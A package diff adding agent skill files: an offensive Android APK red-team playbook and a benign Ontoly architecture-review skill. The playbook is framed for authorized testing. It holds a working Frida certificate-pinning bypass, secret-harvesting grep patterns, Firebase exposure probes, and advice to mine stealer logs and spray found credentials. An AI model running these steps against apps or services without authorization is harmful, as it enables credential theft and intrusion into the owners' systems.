opencode-skills-collection 4.0.68 → 4.0.70

package/bundled-skills/apk-redteam-pipeline/SKILL.md

@@ -0,0 +1,446 @@
+---
+name: apk-redteam-pipeline
+description: End-to-end Android APK red-team pipeline
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: authorized-engagement
+report_count: 1
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## When to use this skill
+
+Trigger when:
+- Recon surfaces 1+ mobile apps under the target's developer name (Play Store dev page)
+- A web app hosts `*.apk` files directly (e.g. `Recruitz.apk` found on a subdomain during one engagement)
+- APK package IDs leaked via stealer logs (e.g. `com.<brand>.app`, `com.<brand>.<sub-brand>` patterns in stealer dump format)
+- Customer-facing app, dealer/partner portal, or employee mobile companion app is in scope
+- Bug bounty program lists Android in scope
+
+DO NOT use for:
+- iOS-only targets (different pipeline — IPA reverse, MobSF, frida-ios-dump)
+- React Native / Flutter web apps already covered by JS bundle analysis
+- Server-side only assessments
+
+---
+
+## Stage 0 — Inventory all org-owned apps
+
+### Play Store developer-page scrape
+```bash
+# Find developer page from the target's brand name
+curl -sk -A "Mozilla/5.0" "https://play.google.com/store/apps/developer?id=<Brand+Name>" -o /tmp/dev.html
+
+# Extract package IDs
+grep -oE 'id=[a-zA-Z0-9._]+' /tmp/dev.html | sort -u
+```
+
+Example output (anonymized — 7 packages typical for a multi-brand conglomerate):
+```
+com.events.<brand>build
+com.<corp>.<sub-brand-1>
+com.<corp>.<sub-brand-2>
+com.<corp>.<flagship>
+com.<corp>.<product-line-1>
+com.<corp>.<product-line-2>
+com.<corp>.<sub-brand-3>
+```
+
+### Cross-reference with stealer logs
+Stealer-log format includes package names like `*@com.<corp>.<app>` — extract these from `creds_userpass.txt` if you have a leaked dump.
+
+### Brand permutation guesses (multi-brand conglomerate patterns)
+```
+com.<brand>.app
+com.<brand>.mobile  
+com.<brand>.android
+com.<brand>connect.app
+in.<brand>.dealer
+in.co.<brand>.app
+```
+
+---
+
+## Stage 1 — APK acquisition
+
+### Primary: APKPure direct (no auth required)
+```bash
+# Follow 302 redirects to actual download
+curl -sk -L --max-time 60 \
+  "https://d.apkpure.net/b/APK/<package_id>?version=latest" \
+  -o "<package_id>.apk"
+
+# Or via the legacy d-XX.winudf.com mirror chain (we saw this work)
+```
+
+### Secondary: APKMirror search
+```bash
+curl -sk -A "Mozilla/5.0" "https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=<brand>" \
+  | grep -oE 'href="[^"]+\.apk[^"]*"' | sort -u
+```
+
+### Tertiary: APKPure web search
+```bash
+curl -sk "https://apkpure.com/search?q=<brand>" | grep -oE 'data-dt-app="[^"]+"'
+```
+
+### XAPK vs APK
+- `.xapk` = a zip containing multiple split APKs (base + config.armeabi-v7a + config.en + etc.)
+- Unzip outer first, then unzip the inner `base.apk` or `<package>.apk`
+- Some apkpure downloads return truncated XAPK with missing EOCD signature — symptom of CDN rate-limiting; rotate IP and retry, OR use `7z x` which is more lenient than `unzip`
+
+```bash
+# Standard unzip (works for clean APK)
+unzip -o <package>.apk -d extracted_<package>/
+
+# For truncated/repaired XAPK
+7z x -y <package>.apk -o"extracted_<package>"
+
+# For nested XAPK
+for inner in extracted_<package>/*.apk; do
+  mkdir -p "extracted_<package>/$(basename "$inner" .apk)"
+  unzip -o "$inner" -d "extracted_<package>/$(basename "$inner" .apk)"
+done
+```
+
+---
+
+## Stage 2 — DEX decompilation (jadx)
+
+```bash
+# Install
+brew install jadx          # macOS
+# or
+wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.x.zip
+
+# Decompile
+jadx -d decompiled_<package>/ <package>.apk
+
+# For XAPK that contains multiple APKs
+for inner in extracted_<package>/*.apk; do
+  jadx -d decompiled_<package>_$(basename "$inner" .apk)/ "$inner"
+done
+```
+
+For a fast "strings only" pass without full decompilation:
+```bash
+find extracted_<package> -name "classes*.dex" -exec strings -8 {} \; > strings_<package>.txt
+```
+
+---
+
+## Stage 3 — Secret grep (the 60-pattern catalog)
+
+```bash
+# URL grep — owned-domain references
+grep -oE 'https?://[a-zA-Z0-9.-]+\.(target1|target2|target3)\.(com|io|net|in)[a-zA-Z0-9./_?=&%-]*' strings_<package>.txt | sort -u
+
+# Internal IP / port URLs
+grep -oE 'https?://(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)[0-9.]+(:[0-9]+)?[a-zA-Z0-9./_?=&-]*' strings_<package>.txt
+
+# Cloud credentials
+grep -oE 'AKIA[A-Z0-9]{16}'                            # AWS Access Key
+grep -oE 'aws_secret_access_key[\s:=]+[A-Za-z0-9/+=]{40}' # AWS Secret
+grep -oE 'AIza[A-Za-z0-9_-]{35}'                       # Google API key
+grep -oE 'ya29\.[A-Za-z0-9_-]+'                        # Google OAuth refresh token
+grep -oE 'gh[ps]_[A-Za-z0-9]{36}'                      # GitHub PAT
+grep -oE 'glpat-[A-Za-z0-9_-]{20}'                     # GitLab PAT
+grep -oE 'xox[pbar]-[A-Za-z0-9-]+'                     # Slack token
+grep -oE 'sk-[A-Za-z0-9]{48}'                          # OpenAI API key
+grep -oE 'sk-ant-[A-Za-z0-9_-]{90,}'                   # Anthropic API key
+grep -oE 'AC[a-f0-9]{32}'                              # Twilio Account SID
+grep -oE 'sk_live_[A-Za-z0-9]{24}'                     # Stripe live key
+grep -oE 'pk_live_[A-Za-z0-9]{24}'                     # Stripe publishable
+grep -oE 'mailgun-[A-Za-z0-9-]{40}'                    # Mailgun
+grep -oE 'SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}'    # SendGrid
+
+# JWT (any algorithm)
+grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' strings_<package>.txt
+
+# Firebase
+grep -oE '"(api_key|project_id|database_url|storage_bucket|client_id|mobilesdk_app_id|google_app_id|gcm_defaultSenderId)"\s*:\s*"[^"]+"' \
+  extracted_<package>/res/values/strings.xml \
+  extracted_<package>/google-services.json \
+  decompiled_<package>/resources/AndroidManifest.xml 2>/dev/null
+
+# OAuth client secrets
+grep -oE 'client_secret["\s:=]+[A-Za-z0-9_-]{24,}' strings_<package>.txt
+
+# Hardcoded passwords (heuristic — many false positives, manual review)
+grep -oE '"password"\s*:\s*"[^"]+"|password\s*=\s*"[^"]+"' decompiled_<package>/sources/**/*.java 2>/dev/null
+```
+
+### Real-world example finding (anonymized — from an authorized engagement)
+```
+# Customer-facing APK shipped a hardcoded URL of this shape:
+https://api.<client>.example/<path-token>/<resource-token>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<payload>.<sig>
+
+# Decoded JWT payload: {"sid":<int>,"iat":<unix-ts>,"exp":<unix-ts>}
+# Expired ~8 years earlier — but path tokens + 30 /v1/* endpoints still useful intel
+```
+
+---
+
+## Stage 4 — Pinned certificate extraction
+
+```bash
+# Find .cer / .der / .pem files in assets/
+find extracted_<package>/assets -iname "*.cer" -o -iname "*.der" -o -iname "*.pem" -o -iname "*.crt" 2>/dev/null
+
+# Or in network_security_config.xml
+find extracted_<package> -name "network_security_config.xml" -exec cat {} \;
+
+# For each cert, extract subject + SAN (might reveal new internal API hosts)
+for cert in $(find extracted_<package>/assets -iname "*.cer"); do
+  echo "=== $cert ==="
+  openssl x509 -in "$cert" -noout -subject -issuer -dates 2>/dev/null
+  openssl x509 -in "$cert" -noout -text 2>/dev/null | grep -E 'Subject:|DNS:|Issuer:|Validity'
+done
+```
+
+### Real-world example
+A customer-facing APK from an authorized engagement contained `assets/api_<service>_<domain>_com.cer` — revealed the existence of an `api.<service>.<domain>.example` asset that had NOT surfaced in passive recon.
+
+---
+
+## Stage 5 — Exported component enumeration
+
+AndroidManifest.xml lists components. Exported ones (especially with `android:exported="true"` or implicit-export via intent-filter) can be triggered by other apps — potential intent-injection attack surface.
+
+```bash
+# Decode binary AndroidManifest if needed
+apktool d <package>.apk -o decoded_<package>/    # apktool decodes binary manifest
+
+# Or read directly from jadx output
+cat decompiled_<package>/resources/AndroidManifest.xml | grep -E '<(activity|service|receiver|provider)' | head -50
+
+# Filter exported
+grep -E 'android:exported="true"' decompiled_<package>/resources/AndroidManifest.xml
+```
+
+For each exported component, check:
+- Does it accept extras that flow into a WebView (intent → WebView → XSS / file://)
+- Does it accept URI extras (potential SSRF via deep link)
+- Does it pass extras to other Activities (intent redirection)
+
+---
+
+## Stage 6 — Firebase / cloud-service config inspection
+
+```bash
+# google-services.json — full Firebase config
+find extracted_<package> -name "google-services.json" -exec cat {} \; | python3 -m json.tool
+
+# Look for:
+#   project_id   → can guess Firestore / RTDB URL: https://<project_id>.firebaseio.com/.json
+#   storage_bucket → can guess GCS bucket: gs://<bucket>
+#   web_api_key  → can use to enumerate Firebase tenant config
+
+# Test if Firestore is publicly readable
+curl -s "https://firestore.googleapis.com/v1/projects/<project_id>/databases/(default)/documents/users"
+
+# Test if Realtime DB is publicly readable
+curl -s "https://<project_id>.firebaseio.com/.json"
+
+# Test if Storage Bucket is publicly listable
+curl -s "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
+```
+
+---
+
+## Stage 7 — Runtime instrumentation (Frida)
+
+For when static analysis isn't enough — you want to dump tokens at runtime, bypass cert pinning, or trace API calls.
+
+### Setup
+```bash
+pip install --break-system-packages frida-tools objection
+adb devices  # ensure device/emulator connected
+# Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD)
+```
+
+### Cert-pinning bypass (universal)
+```javascript
+// frida-script-pinning-bypass.js
+Java.perform(function() {
+    // OkHttp
+    try {
+        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
+        CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
+            console.log('[+] OkHttp pinning bypassed for: ' + arguments[0]);
+            return;
+        };
+    } catch (e) {}
+    // HttpsURLConnection
+    try {
+        var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
+        TrustManagerImpl.verifyChain.implementation = function(chain) {
+            console.log('[+] TrustManagerImpl verifyChain bypassed');
+            return chain;
+        };
+    } catch (e) {}
+});
+```
+```bash
+frida -U -l frida-script-pinning-bypass.js -f <package_id> --no-pause
+```
+
+### Hook HTTP requests
+```javascript
+Java.perform(function() {
+    var OkHttpClient = Java.use('okhttp3.OkHttpClient');
+    var Request = Java.use('okhttp3.Request');
+    var Call = Java.use('okhttp3.Call');
+    
+    OkHttpClient.newCall.implementation = function(req) {
+        var url = req.url().toString();
+        var headers = req.headers().toString();
+        console.log('[REQ] ' + url);
+        console.log('[HDRS] ' + headers);
+        return this.newCall(req);
+    };
+});
+```
+
+### Quick token extraction via objection
+```bash
+objection --gadget com.target.app explore
+# Inside:
+android hooking watch class_method <class>.<method> --dump-args --dump-return
+```
+
+---
+
+## Stage 8 — Network traffic capture (via mitmproxy)
+
+For deeper API discovery once pinning is bypassed.
+
+```bash
+# Run mitmproxy on host
+mitmproxy --listen-port 8080
+
+# Configure Android device proxy to host:8080
+# Install mitmproxy CA cert on device:
+#   - Pull from http://mitm.it on the device, or
+#   - Push to /system/etc/security/cacerts/ on rooted device
+
+# Use the Frida pinning bypass script while traffic flows through mitmproxy
+# All API calls visible in mitmproxy UI
+```
+
+---
+
+## Decision tree — what to do with what you find
+
+| Finding | Next move |
+|---|---|
+| Active JWT (not expired) | Test against the API host — does it grant access? Try sid manipulation |
+| Expired JWT | Inspect path tokens / API endpoint structure — useful intel for post-VPN |
+| AWS access key | Use `awscli` to test: `aws sts get-caller-identity` — many leaked keys still have permissions |
+| Firebase project_id + web_api_key | Test public Firestore/RTDB/Storage read |
+| Google API key (AIza*) | Test against `https://www.googleapis.com/customsearch/v1` etc. — see what API the key activates |
+| Hardcoded HTTP URLs (http://) | Possible MITM via downgrade if cert pinning is missing |
+| Pinned cert for internal host | New asset discovery — that host is real |
+| Exported Activity with WebView | Test intent-injection → URL-loading abuse |
+| Stack-trace artifacts (Stack Overflow URLs) | Identify the developer's questions → infer architecture |
+| Hardcoded credentials | Spray immediately (respect any caps from related skills) |
+
+---
+
+## Anti-patterns
+
+- **Don't grep only for "password"** — most secrets have specific high-signal patterns (AKIA, AIza, eyJ, etc.). Generic word grep produces too much noise.
+- **Don't skip XAPK split APKs** — config.armeabi splits and config.<lang> splits sometimes contain different code paths.
+- **Don't trust expired JWTs as "dead intel"** — the path structure, endpoint list, and signing algorithm are still useful. The 8-year-expired-JWT example above shows this.
+- **Don't reverse only the latest version** — older APK versions (via APKMirror version history) sometimes have secrets removed in newer versions but still active server-side.
+- **Don't ignore Firebase even if app looks "simple"** — Firebase rules misconfigurations (public read on Firestore) are extremely common.
+- **Don't run Frida on a production device** — use rooted emulator or test device only.
+
+---
+
+## Tooling install (one-time)
+
+```bash
+brew install jadx p7zip
+pip install --break-system-packages frida-tools objection
+# Genymotion or AVD for rooted Android emulator
+```
+
+For APK download convenience, can add a `download-apk` shell function:
+```bash
+download-apk() {
+  local pkg="$1"
+  curl -sk -L --max-time 60 "https://d.apkpure.net/b/APK/$pkg?version=latest" -o "$pkg.apk"
+  echo "Downloaded $(wc -c < "$pkg.apk") bytes"
+  file "$pkg.apk"
+}
+```
+
+---
+
+## Bridge to neighboring skills
+
+- `offensive-osint` — Play Store / APKMirror enum is part of broader OSINT
+- `hunt-cloud-misconfig` — Firebase public-read is exactly this skill's specialty post-discovery
+- `hunt-api-misconfig` — JWT manipulation once you have the algorithm + sample token
+- `evidence-hygiene` — extracted secrets need redaction before report inclusion
+- `redteam-mindset` — APK reverse on day-1 of an engagement, not as an afterthought
+
+---
+
+## Real-world finding template (anonymized — authorized engagement)
+
+**Finding: Hardcoded JWT + 30+ Internal API Endpoints in a customer-facing APK**
+
+- Subject: Hardcoded artifacts in legacy mobile build reveal internal API surface
+- Observations: Decompilation of `com.<client>.<app>` revealed embedded JWT (expired ~8 years earlier) and 30+ `/v1/*` endpoint paths against `api2.<client>.example` (internal-only externally)
+- Description: APK ships with developer build artifacts. Path tokens are security-by-obscurity; API endpoint inventory is reconnaissance-grade.
+- Impact: Post-VPN-foothold (via cred compromise), attacker has full API surface map without binary reverse. HS256 secret recovery (via SSRF/LFI) would yield arbitrary token forging.
+- Recommendation: rotate HS256 secret, migrate to RS256, remove hardcoded URLs from builds, audit all org APKs.
+- Evidence: extracted strings, decoded JWT, endpoint inventory
+
+---
+
+## Related Skills & Chains
+
+- **`cloud-iam-deep`** — APK secret extraction frequently yields live AWS/GCP/Azure credentials. Chain primitive: jadx string-grep produces AWS Access Key ID + Secret → `cloud-iam-deep` `aws sts get-caller-identity` → role/policy enumeration → IAM privilege-escalation path (one of 24 documented AWS escalation patterns) → cloud-plane takeover. Same flow applies to GCP service-account JSON and Azure shared-access-signature tokens extracted from APK resources.
+- **`hunt-api-misconfig`** — APK endpoint inventory hands you the API surface for free; mass-assignment, JWT, and CORS bugs are typical. Chain primitive: APK reveals `/v1/users/me` and `/v1/admin/users` → `hunt-api-misconfig` mass-assignment probes (`{is_admin:true}`) against `/v1/users/me` → admin role escalation → access to `/v1/admin/users`.
+- **`hunt-rce`** — Hardcoded JWT signing secrets (HS256) extracted from APK enable arbitrary token forging. Chain primitive: APK strings yield HS256 secret → forge admin token → access admin API → if API has eval/template/sink → `hunt-rce` to server. Also: exported components with intent-injection sinks can reach `Runtime.exec` if app is local-installed.
+- **`offensive-osint`** — APK is one node in the broader org recon graph; pair with breach corpora and cert transparency. Chain primitive: APK reveals internal API hostname `api2.example.com` → `offensive-osint` certificate-transparency lookup → discover sibling subdomains → expanded attack surface.
+- **`redteam-report-template`** — APK findings need clear "what the binary leaks" framing because client engineers often dismiss mobile-static findings as "obfuscation problem." Chain primitive: validated finding (token/URL/secret extracted) → `triage-validation` 7-Question Gate (specifically: "does this credential still authenticate today?") → `redteam-report-template` packaging with explicit binary version + extraction reproduction steps.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/architecture-review/README.md

@@ -0,0 +1,42 @@
+# Architecture Review
+
+This is an official Ontoly Agent Skill. It is independently installable and teaches an agent how to use Ontoly for architecture review.
+
+## Version
+
+- Skill version: 1.0.0
+- Minimum Ontoly version: 1.0.0
+- Required capabilities: `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies`, `EvidencePack`
+- Enhancement: LLM Enhancement
+- Deprecated: no
+
+## Install
+
+Install this skill with any Agent Skills compatible installer that supports `SKILL.md` directories, or copy this folder into your agent skills directory.
+
+## Use
+
+Ask the agent a task such as:
+
+> What are the primary packages, modules, and services?
+
+The agent should build or verify the Ontoly graph, use MCP capabilities, cite evidence, and only inspect files as a fallback.
+
+## Public Docs
+
+- [Agent Skills](https://ontoly.xyz/docs/agent-skills)
+- [Skills Overview](https://ontoly.xyz/docs/skills-overview)
+- [MCP](https://ontoly.xyz/docs/mcp)
+- [Capabilities](https://ontoly.xyz/docs/capabilities)
+- [Skills Validation](https://ontoly.xyz/docs/skills-validation)
+
+## Shared References
+
+This skill depends on the shared Ontoly workflow in [reference/workflow.md](reference/workflow.md).
+
+## Learn more
+
+- Documentation: https://ontoly.xyz/docs
+- This skill on the web: https://ontoly.xyz/skills#architecture-review
+- All Ontoly Agent Skills: https://ontoly.xyz/skills
+- Install via skills.sh: https://www.skills.sh/?q=0xsarwagya/ontoly

package/bundled-skills/architecture-review/SKILL.md

@@ -0,0 +1,77 @@
+---
+name: architecture-review
+description: Review repository architecture using Ontoly Software Graph and MCP capabilities.
+  Use when asked to explain architecture, module boundaries, package topology, service
+  ownership, or architectural risk.
+license: AGPL-3.0-only
+compatibility: Portable Agent Skills format; requires Ontoly CLI and MCP-capable or
+  CLI-capable coding agent.
+metadata:
+  ontoly.skill.version: 1.3.3
+  ontoly.min.version: 1.3.3
+  ontoly.capabilities: ExplainArchitecture, GraphStatistics, FindCycles, FindDependencies,
+    EvidencePack
+  ontoly.category: architecture
+  ontoly.enhancement: LLM Enhancement
+  ontoly.deprecated: 'false'
+source_repo: 0xsarwagya/ontoly
+source_type: community
+source: community
+date_added: '2026-09-21'
+risk: unknown
+---
+## When to Use
+- Use when this upstream workflow matches the user's stated goal.
+- Use when the task requires the procedures documented in this skill.
+
+# Architecture Review
+
+Use this skill when the user asks for architecture review using Ontoly evidence.
+
+## Required Workflow
+
+Follow [the shared Ontoly workflow. Also read [graph evidence rules, [MCP usage, [best practices, and [fallback rules when the task requires detail.
+
+## Ontoly Capabilities
+
+Use these capabilities first: `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies`, `EvidencePack`.
+
+## Output Contract
+
+Return:
+
+- answer or plan
+- capabilities invoked
+- graph evidence with node ids, edge types, source spans, and graph hash when available
+- confidence: high, medium, or low
+- fallback reason if repository files were inspected
+
+## Boundaries
+
+Do not implement compiler, query, MCP, SDK, or business logic in the skill. Do not search repository files until Ontoly cannot answer or evidence must be confirmed.
+
+## Resources
+
+- [Examples
+- [Prompt template
+- [Capability notes
+
+## Learn more
+
+- Documentation: https://ontoly.xyz/docs
+- This skill on the web: https://ontoly.xyz/skills#architecture-review
+- All Ontoly Agent Skills: https://ontoly.xyz/skills
+- Install via skills.sh: https://www.skills.sh/?q=0xsarwagya/ontoly
+
+
+## Examples
+
+```text
+User: Apply this skill to my current task.
+Assistant: Follow the workflow in this skill, cite limitations, and ask before risky steps.
+```
+
+## Limitations
+
+- Imported upstream skill; verify credentials, permissions, and safety boundaries before execution.
+- Does not replace environment-specific validation, testing, or maintainer review.

package/bundled-skills/architecture-review/examples.md

@@ -0,0 +1,11 @@
+# Architecture Review Examples
+
+Each example is graph-first and MCP-first.
+
+| Repository | Questions | Expected workflow | Capabilities invoked | Expected evidence | Expected answer |
+| --- | --- | --- | --- | --- | --- |
+| Ovok Core | Trace the login flow through the NestJS auth controller. | Follow shared workflow, run `EvidencePack` first, then `ExplainArchitecture` then `GraphStatistics` then `FindCycles` then `FindDependencies`, inspect files only if graph evidence is missing. | `EvidencePack`, `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies` | controller, route, service, dependency-injection edges; graph hash; confidence. | A concise architecture summary with graph-backed boundaries, risks, evidence node ids, and confidence. |
+| Ghost | Explain the package entrypoint and public API surface. | Follow shared workflow, run `EvidencePack` first, then `ExplainArchitecture` then `GraphStatistics` then `FindCycles` then `FindDependencies`, inspect files only if graph evidence is missing. | `EvidencePack`, `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies` | package, exports, functions, interfaces; graph hash; confidence. | A concise architecture summary with graph-backed boundaries, risks, evidence node ids, and confidence. |
+| durable-local | Find storage APIs and consumers before a refactor. | Follow shared workflow, run `EvidencePack` first, then `ExplainArchitecture` then `GraphStatistics` then `FindCycles` then `FindDependencies`, inspect files only if graph evidence is missing. | `EvidencePack`, `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies` | functions, interfaces, dependents, configuration; graph hash; confidence. | A concise architecture summary with graph-backed boundaries, risks, evidence node ids, and confidence. |
+| 0xsarwagya | Summarize workspace packages and package dependencies. | Follow shared workflow, run `EvidencePack` first, then `ExplainArchitecture` then `GraphStatistics` then `FindCycles` then `FindDependencies`, inspect files only if graph evidence is missing. | `EvidencePack`, `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies` | workspace, packages, framework nodes, dependency edges; graph hash; confidence. | A concise architecture summary with graph-backed boundaries, risks, evidence node ids, and confidence. |
+| Innosphere | Identify application modules and request ownership. | Follow shared workflow, run `EvidencePack` first, then `ExplainArchitecture` then `GraphStatistics` then `FindCycles` then `FindDependencies`, inspect files only if graph evidence is missing. | `EvidencePack`, `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies` | controllers, modules, routes, services; graph hash; confidence. | A concise architecture summary with graph-backed boundaries, risks, evidence node ids, and confidence. |

package/bundled-skills/architecture-review/reference/best-practices.md

@@ -0,0 +1,7 @@
+# Agent Best Practices
+
+- Keep the answer graph-first and concise.
+- Separate measured graph facts from inference.
+- Prefer capability output over source search.
+- Include confidence: high when graph nodes and relationships directly answer the question, medium when evidence is partial, low when fallback file inspection was required.
+- Never generate SDKs, refactors, or security claims from the skill itself. The skill may plan workflows, but Ontoly remains the source of truth.

package/bundled-skills/architecture-review/reference/capabilities.md

@@ -0,0 +1,20 @@
+# Architecture Review Capability Notes
+
+Primary capabilities: `ExplainArchitecture`, `GraphStatistics`, `FindCycles`, `FindDependencies`, `EvidencePack`.
+
+Use [../reference/mcp.md](../reference/mcp.md) for common capability behavior and fallback CLI equivalents.
+
+## Required Evidence
+
+- capability name
+- graph hash
+- node ids and types
+- relationship types and direction
+- source spans when present
+- confidence
+
+## Compatibility
+
+- Skill version: 1.0.0
+- Minimum Ontoly version: 1.0.0
+- Deprecation status: active

package/bundled-skills/architecture-review/reference/fallbacks.md

@@ -0,0 +1,11 @@
+# Fallbacks
+
+Fallbacks are allowed only after Ontoly is insufficient. Valid fallback reasons:
+
+- graph artifact missing and build fails
+- relevant capability unavailable
+- graph trust below the task threshold
+- node is ambiguous or absent
+- source quote is needed to confirm a public answer
+
+When falling back, state the reason and keep inspection narrow: one file, one symbol, or one source span when possible.

package/bundled-skills/architecture-review/reference/graph.md

@@ -0,0 +1,15 @@
+# Software Graph Evidence
+
+Use Software Graph evidence as the primary source of truth. Prefer deterministic identifiers over prose names.
+
+Evidence fields to capture:
+
+- graph hash
+- capability invoked
+- node id and node type
+- edge type and direction
+- source span when present
+- diagnostic codes when relevant
+- confidence and reason for confidence
+
+Do not infer relationships that are absent from the graph. You may make a clearly labeled inference only after stating the graph evidence that supports it.

package/bundled-skills/architecture-review/reference/mcp.md

@@ -0,0 +1,14 @@
+# Ontoly MCP Usage
+
+Use Ontoly MCP capabilities before searching files. Common capability groups:
+
+- Architecture: `ExplainArchitecture`, `GraphStatistics`
+- Lookup: `FindNode`, `FindFunction`, `InspectFile`, `InspectModule`, `InspectClass`, `InspectFunction`
+- Dependencies: `FindDependencies`, `FindDependents`, `FindCycles`, `ImpactAnalysis`
+- Requests: `TraceRequestLifecycle`, `FindResponsibleFunction`, `TraceExecution`
+- Security: `FindAuthenticationFlow`, `FindConfigurationUsage`
+- Configuration: `FindConfiguration`, `FindConfigurationUsage`
+- Static analysis: `FindDeadCode`, `FindUnusedFeature`, `FindEntrypoints`
+- Evidence packs: `EvidencePack`
+
+If an agent cannot call MCP directly, use the nearest CLI command such as `ontoly evidence`, `ontoly report`, `ontoly query`, `ontoly trace`, or `ontoly inspect`.

package/bundled-skills/architecture-review/reference/workflow.md

@@ -0,0 +1,15 @@
+# Ontoly Agent Skill Standard Workflow
+
+Every Ontoly skill follows this workflow. Skills teach orchestration only; Ontoly provides the software understanding.
+
+LLM Enhancement is mandatory every time Ontoly is used by an LLM. An LLM-facing workflow must use an Ontoly skill or equivalent installed workflow that declares `ontoly.enhancement: "LLM Enhancement"` and preserves graph-first evidence, confidence, and fallback rules.
+
+1. Verify that an Ontoly graph exists at `.ontoly/SoftwareGraph.json`.
+2. If the graph is missing or stale, run `ontoly build .`.
+3. Check graph trust with `ontoly coverage .` or `ontoly stats . --json`.
+4. Prefer Ontoly MCP by starting or connecting to `ontoly mcp`.
+5. Query `EvidencePack` first for compact graph context, then the capability that matches the task before reading files.
+6. Inspect repository files only when Ontoly cannot answer, confidence is low, or source snippets are needed for confirmation.
+7. Always cite evidence: node ids, edge ids or relationship types, source spans, graph hash, capability name, and confidence.
+
+When evidence is incomplete, say what Ontoly proved, what remains unknown, and which fallback check was used.